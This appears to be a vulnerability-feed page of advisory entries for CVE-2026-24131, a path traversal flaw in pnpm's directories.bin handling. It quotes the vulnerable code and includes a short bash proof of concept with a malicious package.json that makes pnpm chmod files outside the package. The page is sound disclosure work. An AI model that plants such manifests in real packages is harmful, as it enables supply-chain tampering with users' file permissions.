Most recent entries from all

bdu:2026-01028

2026-10-08T23:02:46.315366+00:00

bdu:2026-01028

BREW-pnpm-CVE-2026-24131 — pnpm has Path Traversal via arbitrary file permission modification

2026-10-08T23:02:46.315406+00:00

Affected: Homebrew: pnpm

pnpm is a package manager. Prior to version 10.28.2, when pnpm processes a package's `directories.bin` field, it uses `path.join()` without validating the result stays within the package root. A malicious npm package can specify `"directories": {"bin": "../../../../tmp"}` to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations. This issue only affects Unix/Linux/macOS. Windows is not affected (`fixBin` gated by `EXECUTABLE_SHEBANG_SUPPORTED`). Version 10.28.2 contains a patch.

EUVD-2026-266752

2026-10-08T23:02:46.315445+00:00

EUVD-2026-266752

fkie_cve-2026-24131

2026-10-08T23:02:46.315459+00:00

GHSA-v253-rj99-jwpq — pnpm has Path Traversal via arbitrary file permission modification

2026-10-08T23:02:46.315485+00:00

Affected: npm: pnpm

### Summary When pnpm processes a package's `directories.bin` field, it uses `path.join()` without validating the result stays within the package root. A malicious npm package can specify `"directories": {"bin": "../../../../tmp"}` to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations.

**Note:** Only affects Unix/Linux/macOS. Windows is not affected (`fixBin` gated by `EXECUTABLE_SHEBANG_SUPPORTED`).

### Details Vulnerable code in `pkg-manager/package-bins/src/index.ts:15-21`:

```typescript if (manifest.directories?.bin) { const binDir = path.join(pkgPath, manifest.directories.bin) // NO VALIDATION const files = await findFiles(binDir) // ... files outside package returned, then chmod 755'd } ```

The `bin` field IS protected with `isSubdir()` at line 53, but `directories.bin` lacks this check.

### PoC ```bash # Create malicious package mkdir /tmp/malicious-pkg echo '{"name":"malicious","version":"1.0.0","directories":{"bin":"../../../../tmp/target"}}' > /tmp/malicious-pkg/package.json

# Create sensitive file mkdir -p /tmp/target echo "secret" > /tmp/target/secret.sh chmod 600 /tmp/target/secret.sh # Private

# Install pnpm add file:/tmp/malicious-pkg

# Check permissions ls -la /tmp/target/secret.sh # Now 755 (world-readable) ```

### Impact - Supply-chain attack via npm packages - File permissions changed from 600 to 755 (world-readable) - Affects non-dotfiles in predictable paths (dotfiles excluded by tinyglobby default)

##…